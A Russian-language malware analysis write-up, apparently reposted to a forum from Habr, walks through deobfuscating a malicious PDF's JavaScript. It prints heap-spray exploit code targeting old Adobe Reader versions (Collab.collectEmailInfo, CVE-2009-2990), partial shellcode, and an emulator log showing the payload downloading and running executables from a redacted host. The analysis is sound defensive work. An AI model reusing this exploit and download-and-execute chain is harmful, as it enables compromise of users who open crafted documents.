Источник: habrahabr.ru
Несколько месяцев назад я столкнулся с интересной задачей по анализу подозрительного pdf файла. К слову сказать, обычно я занимаюсь анализом защищенности веб приложений и не только веб, и не являюсь большим экспертом в направлении malware analysis, но случай представился довольно любопытный.
Практически все инструменты представленные в данной статье содержаться в дистрибутиве Remnux, созданном специально в целях reverse engineering malware. Вы можете сами загрузить себе образ виртуальной машины для VirtualBox или Vmware.
Первым делом я проанализировал полученный экземпляр с помощью скрипта pdfid:
Сразу же обратил внимание на обнаруженные OpenAdction и JavaScript. Дальше использовал pdf-parser для парсинга файла:Code:PDF Header: %PDF-1.3 obj 11 endobj 11 stream 4 endstream 4 xref 1 trailer 1 startxref 1 /Page 1 /Encrypt 0 /ObjStm 0 /JS 1 /JavaScript 1 /AA 0 /OpenAction 1 /AcroForm 0 /JBIG2Decode 0 /RichMedia 0 /Launch 0 /EmbeddedFile 0 /XFA 0 /Colors > 2^24 0
Обратил внимание, что OpenAction вызывает JavaScript в 4-ом объекте, который в свою очередь связан с закодированным Flatedecode объектом S:Code:obj 1 0 Type: /Catalog Referencing: 2 0 R, 4 0 R << /Type /Catalog /PageLayout /SinglePage /Pages 2 0 R /OpenAction 4 0 R >>
Декодировал javascript код с помощью все того же pdf-parser:Code:obj 4 0 Type: /Action Referencing: 5 0 R << /Type /Action /S /JavaScript /JS 5 0 R >> obj 5 0 Type: Referencing: Contains stream << /Length 394 /Filter /FlateDecode >>
Привел к удобному виду, для этого можно воспользоваться js-beautify:
Неплохо. Также проанализировал файл с помощью отличной утилиты jsunpack:Code:var sum = ''; var duct = 300; var os = ""; var pr = null; var num = 1; var func = 'd'; app.doc.syncAnnotScan(); if (app.plugIns.length < 1) { func += "4"; num = 0; } if (!(app.plugIns.length < 0)) { var xnm = { nPage: 0 }; pr = app.doc.getAnnots(xnm); sum = pr[num].subject; } if (app.plugIns.length > 2) { var buf = sum.split(/-/); var ap = this; var acc = ap [ "une" + "sca" + "pe" ]; var src = String ["fromC"+"harC"+"ode" ]; for (var n = 0; n < buf.length-1; n++) os += acc( src(37) + buf[n+1] ); func = ""; if (app.plugIns.length > 0) { if (!(app.plugIns.length > 0)) { func += "abd"; num = 123; } num = 0; ap ['ev' + func + src(77+20) + "l" ](os); num = 0; } }
На первый взгляд им была обнаружена уязвимость CVE-2009-1492, связанная с выполнением произвольного кода или отказа в обслуживании через Adobe Reader и Adobe Acrobat версий 9.1, 8.1.4, 7.1.1 и ранних версий, с помощью pdf файла, содержащего annotaion и использующего метод getAnnots. Но если проверить мои результаты, полученные выше, с соответствующим exploit-ом, то обнаруживается, что эта уязвимость не имеет отношения к текущему случаю. В нашем варианте annotaion используется для хранения большой части скрипта в том числе в целях обфускации.
Данные из annotaion вызываются методом getAnnots и находятся в объекте 9 нашего файла(как показал pdfparser). Сохраним полученный javascript код, добавив к нему поток из объекта 9. Обычно, первым шагом для безопасного выполнения кода является замена функции eval безобидным alert или console.log и открытии файла с помощью браузера. Также в этих целях можно использовать Spidermonkey. Основные необходимые нам функции и переменные уже определены в файле pre.js, который вы также можете обнаружить в дистрибутиве Remnux.
Неплохо. После запуска Spidermonkey мы получили новый скрипт, который использует функции eval и поток данных из объекта 7:
Code:function LnX6eI__qBoDrb5(Xj__TJe_0_j, Sut0_yx_4){
var O_6__t8 = 20;
var LK__SC__k = 0;
var Yf2_7661XQk3t = 512;
var M__D2__r_5_I7_D = O_6__t8;
var k12_hf_0p2_30aB = "";
var m57_Ww_VVKg = 4;
var P_A7_cf7J = this ;
var uvD2__e0__4W = "1234ee";
var Ja4_hF_A41Ch510 = arguments;
try {
var YNS0B64n__I_E = 0;
if (app){
M__D2__r_5_I7_D = M__D2__r_5_I7_D + 2;
Sut0_yx_4 = pr[YNS0B64n__I_E].subject;
}
uvD2__e0__4W = uvD2__e0__4W.replace(/\d+/, "call");
}
catch (e){
}
….
LnX6eI__qBoDrb5(0, "b02h8a6b5h47a7a0353ha0agbe863926927d6i399fc160145 50ebd6516171b6e243d5c5gcd4073a1795jaf7f5348a8aa589 53eab208d36cfb6c765479dcab32g4e221f3727140i4hc9667 ha1bh8ca1ba9g6003cc439f082042074e10150g7j3h8e.....
….
");
После рефакторинга получаем:
Code:function func_01(arg_0, arg_1) {
var v0 = 20;
var v1 = 0;
var v2 = 512;
var v3 = v0;
var v4 = "";
var v5 = 4;
var v6 = this;
var v7 = "1234ee";
var v8 = arguments;
try {
var v9 = 0;
if (app) {
v3 = v3 + 2;
arg_1 = pr[v9].subject;
}
v7 = v7.replace(/\d+/, "call");
} catch (e) {}
v3 = v3 - v0;
var v10 = new Array();
var v11 = 150;
if (v11 > 0) {
v10[0] = v11;
v10[1] = v2;
v10[0] = v10[0] - v11;
v10[2] = v10[0];
v10[1] = v10[1] - v2;
v10[3] = v10[1];
}
if (arg_0) {
v10 = arg_0;
}
if (!arg_0) {
var v12 = v8[v7].toString(); //arguments.callee.toString();
var v13 = 0;
var v14 = v13;
v11 = v11 - 102; //150 – 102 = 48
var v15 = 0;
while (v14 < v12.length) { //while(0<arguments.callee.toString().length);
v15 = v12.charCodeAt(v14); // arguments.callee.toString().charCodeAt(0);
if (v15 >= v11 && v15 <= 57) {
if (v13 == v5) {
v13 = -1;
}
if (v13 < 0) {
v13 = 0;
}
v10[v13] += v15;
if (v10[v13] > v2) {
v10[v13] -= v2;
}
v13 = v13 + 1;
}
v14 = v14 + 1;
}
}
var v16 = 0;
var v17 = 0;
var v18 = -1;
var v19 = 0;
var v20 = 0;
do {
var v21 = 256;
if (v10[v19] > v21) {
v10[v19] -= v21;
}
v19 = v19 + 1;
} while (v19 < v5);
v19 = v19 - v5;
while (v19 < arg_1.length) {
var v22 = arg_1.substr(v19, 1) + ' V V ';
v19 = v19 + 1;
var v23 = parseInt(v22, v0);
if (v18 != -1) {
v17 += v23;
if (v16 == v5) {
v16 = 0;
}
var v24 = v17;
v24 = v24 - (v20 + 2) * v10[v16];
if (v24 <= 0) {
v24 = v24 - Math.floor(v24 / 256) * 256;
}
v24 = String.fromCharCode(v24);
if (v3 == 1) {
v4 += v23;
} else if (v3 == 2) {
v4 += v24;
} else {
v4 += v19;
v18 = -2;
}
v18 = -1;
v16 = v16 + 1;
v20 = v20 + 1;
} else if (v18 == -1) {
v18 = v0;
v17 = v23 * v0;
}
}
var v25 = this;
v25['eval'](v4);
}
func_01(0, "b02h8a......
….
Наиболее интересная вещь в данном скрипте скрыта в переменной var v12 – это функция arguments.callee. Arguments.callee обозначает вызов самой текущей исполнемой функции. Таким образом этот код использует сам себя в целях обфускации. То есть если вы изменяете что то в текущем коде (как я делал ранее при рефакторинге или замене функции eval на alert) вы сломаете всю следующую часть расшифровки. Но не стоит отчаиваться. Статьи, описывающие подобные ситуации можно почитать: тут, тут и тут.
В этом случае мы можем заменить вызов arguments.callee.toString().length на длину самой функции и идти дальше, заменяя вызов arguments.callee.toString().charCodeAt(0) первым символом в строке нашей функции.
Нет необходимости декодировать весь код, достаточно выполнить полученный скрипт с данными с помощью все того же spidermonkey или воспользоваться jsunpack.
Финальный скрипт выглядел так:
Code:var C__IC5 = new Array();
var c__fqx1kX_j7_o = 0;
var f520T_5lgB_18Rk = "";
function ki1K8ydoVI_X_f(E81L1G8LUs4H, a5_G7_Y){
var M5Klbt_L = a5_G7_Y.toString();
var UY__3N = "";
….
if (app.viewerVersion == 9.103 && xr_1d__1g_Y < 9.13){
xr_1d__1g_Y = 9.13;
}
if (!(xr_1d__1g_Y < 9 || xr_1d__1g_Y >= 9.2) || !(xr_1d__1g_Y < 8 || xr_1d__1g_Y >= 8.17)
|| !(xr_1d__1g_Y < 7 || xr_1d__1g_Y >= 7.14)){
Y8tju_86jgt_g7d(xr_1d__1g_Y);
}
После рефакторинга получил:
Code:var gvar_0 = new Array();
var gvar_1 = 0;
var gvar_2 = "";
function func_01(arg_0, arg_1) {
var v0 = arg_1.toString();
var v1 = "";
for (var v2 = 0; v2 < v0.length; v2++) {
var v3 = parseInt(v0.substr(v2, 1));
if (!isNaN(v3)) {
v3 = v3.toString(16);
if (v3.length == 1) {
v3 = "0" + v3;
} else if (v3.length != 2) {
v3 = "00";
}
v1 = v3 + v1;
}
}
while (v1.length < 8) {
v1 = "0" + v1;
}
var v4 = arg_0.toString(16);
if (v4.length == 1) {
v4 = "0" + v4;
} else if (v4.length != 2) {
v4 = "00";
}
v1 = "3" + v4 + "P" + v1;
return v1;
}
function func_02(arg_0, arg_1) {
var v0 = new Array("");
var v1 = arg_0;
var x3l3Y5Us4__3;
if ((x3l3Y5Us4__3 = arg_0.lastIndexOf("")) != -1) {
if (x3l3Y5Us4__3 + 6 == arg_0.length) {
v0[0] = arg_0.substr(x3l3Y5Us4__3 + 4, 2);
v1 = arg_0.substring(0, x3l3Y5Us4__3);
}
}
x3l3Y5Us4__3 = 1;
for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < arg_1.length; fr___rItg7HCnRr++) {
var v2 = arg_1.charCodeAt(fr___rItg7HCnRr).toString(16);
if (v2.length == 1) {
v2 = "0" + v2;
}
v0[x3l3Y5Us4__3] = v2;
x3l3Y5Us4__3++;
}
fr___rItg7HCnRr = v0[0].length ? 0 : 1;v0[x3l3Y5Us4__3] = "00";v0[x3l3Y5Us4__3 + 1] = "00";x3l3Y5Us4__3 += 2;
if ((v0.length - fr___rItg7HCnRr) % 2) {
v0[x3l3Y5Us4__3] = "00";
}
while (fr___rItg7HCnRr < v0.length) {
v1 += "%u" + v0[fr___rItg7HCnRr + 1] + v0[fr___rItg7HCnRr];
fr___rItg7HCnRr += 2;
}
v1 += "";
return v1;
}
function func_03(arg_0, arg_1) {
while (arg_0.length * 2 < arg_1) {
arg_0 += arg_0;
}
arg_0 = arg_0.substring(0, arg_1 / 2);
return arg_0;
}
function func_04(arg_0, arg_1, gvar_3) {
var v0 = 0x0c0c0c0c;
var v1 = unescape(arg_1);
var v2 = func_01(arg_0, arg_2);
var v3 = unescape("邐邐邐⇫롙遐遐橑.....
….
var v4 = "遐遐遐遐邐邐邐邐邐èü摟ァ砀謌 ీ炋괜%.....
…..
app.b5t8_3a = unescape(func_02(v4, v2));
var v5 = 0x400000;
var v6 = v3.length * 2;
var v7 = v5 - (v6 + 0x38);
v1 = func_03(v1, v7);
var v8 = (v0 - 0x400000) / v5;
for (var v9 = 0; v9 < v8; v9++) {
gvar_0[v9] = v1 + v3;
}
}
function func_05() {
var v0 = "";
for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < 12; fr___rItg7HCnRr++) {
v0 += unescape("ఌఌ");
}
var v1 = "";
for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < 750; fr___rItg7HCnRr++) {
v1 += v0;
}
this.collabStore = Collab.collectEmailInfo({
subj: "",
msg: v1
});
app.clearTimeOut(gvar_1);
}
function func_06(arg_0) {
var v0 = gvar_1;
if ((arg_0 >= 8 && arg_0 < 8.11) || arg_0 < 7.1) {
func_04(23, "ఌఌ", arg_0);
app.d_AUYb_6j8_5r = func_05;
gvar_1 = app.setTimeOut("app.d_AUYb_6j8_5r()", 1);
}
func_04(13, "ఌఌ", arg_0);
if (v0) {
app.clearTimeOut(v0);
}
}
var gvar_3 = 0;
var gvar_4 = app.plugIns;
for (var gvar_5 = 0; gvar_5 < gvar_4.length; gvar_5++) {
var gvar_6 = gvar_4[gvar_5].version;
if (gvar_6 > gvar_3) {
gvar_3 = gvar_6;
}
}
if (app.viewerVersion == 9.103 && gvar_3 < 9.13) {
gvar_3 = 9.13;
}
if (!(gvar_3 < 9 || gvar_3 >= 9.2) || !(gvar_3 < 8 || gvar_3 >= 8.17) || !(gvar_3 < 7 || gvar_3 >= 7.14)) {
func_06(gvar_3);
Проведя небольшой анализ было расскрыто:
- Confirm jsunpack's suggestion about function Collab.collectEmailInfo and heap spray:
Code:v0 += unescape("ఌఌ"); // hex 0x0c0c0c0c is a popular data in heap spray exploits.
this.collabStore = Collab.collectEmailInfo({
subj: "",
msg: unescape("ఌఌ")
});
Детали уязвимости описаны тут. Пару публичных эксплоитов можно обнаружить тут и там.
Как видно во втором случае используются наши unescape("ఌఌ") и this.collabStore = Collab.collectEmailInfo({subj: "",msg: #{rand12}});- В функции func_04 использована переменная var v0 также со значением 0x0c0c0c0c, что как бы намекает на наличие heap spray эксплоита. Почему это значение столь популярно можно почитать тут.
В переменных v3, v4 просматривается shellcode из-за наличия серии NOP инструкций в начале значений переменных.
Чтобы подтвердить мои предположения я использовал эмулятор libemu из бесплатного продукта PDFStreamDumper со значением, взятым из переменной v4. Также libemu вы можете найти и в Remnux:
Бинго. Обнаружился URL xxxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f0101 0 который и использовался для загрузки с последующем исполнением нашего вредоноса:
Code:Extracted URL: http://xxxxxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f01010 0x91 push_urlmon (signature) Unpack Log: -------------------------------------------------- Loaded 4b8 bytes from file .\tmp.sc Detected %u encoding input format converting... Byte Swapping %u encoded input buffer.. Memory monitor enabled.. Initilization Complete.. Dump mode Active... Max Steps: 2000000 Using base offset: 0x401000 401055 LoadLibraryA(urlmon) 401084 GetTempPathA(len=104, buf=12fce0) = 22 4010bc URLDownloadToFileA(http://xxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010100, C:\Users\Admin\AppData\Local\Temp\lthm.exe) 4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\lthm.exe) 4010bc URLDownloadToFileA(http://xxxxc.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010101, C:\Users\Admin\AppData\Local\Temp\egWl.exe) 4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\egWl.exe) 4010bc URLDownloadToFileA(http://xxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010102, C:\Users\Admin\AppData\Local\Temp\CqTM.exe) 4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\CqTM.exe) 4010d5 ExitProcess(1432107587) Stepcount 300624 Primary memory: Reading 0x192 bytes from 0x401000 Scanning for changes... Change found at 287 dumping to .\tmp.unpack Data dumped successfully to disk Memory Monitor Log: *PEB (fs30) accessed at 0x40101f peb.InInitializationOrderModuleList accessed at 0x40102a- Также параметры сравнения, обнаруженные в скрипте:
Code:if (!(gvar_3 < 9 || gvar_3 >= 9.2) || !(gvar_3 < 8 || gvar_3 >= 8.17) || !(gvar_3 < 7 || gvar_3 >= 7.14)) {
func_06(gvar_3);
выглядят также как описано в CVE-2009-2990: Ошибка индекса в массиве Adobe Reader и Acrobat 9.x до версии 9.2, 8.x и 8.1.7, а также с версии 7.x до 7.1.4 позволяет выполнить произвольный код.
В кодируемом FlateDecode потоке объекта 11 мы также обнаруживаем код в U3D:
Code:/Subtype /U3D /Length 27384 /Filter /FlateDecode >> 'U3D\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00$\x00\x00\x00\x80\xb6\x02\x00\x00\x00\x00\x00j\x00\x00\x00\x15\xff\xff\xff\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\xff\xff\xff\x88\x00\x00\x00\x00\x00\x00\x00\t\x00VcgMesh01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"\xff\xff\xffb\x00\x00\x00\x00\x00\x00\x00\t\x00VcgMesh01
Теперь мы имеем URL, Shellcode, несколько CVE и этого вполне достаточно для данной статьи.








Reply With Quote
Thanks
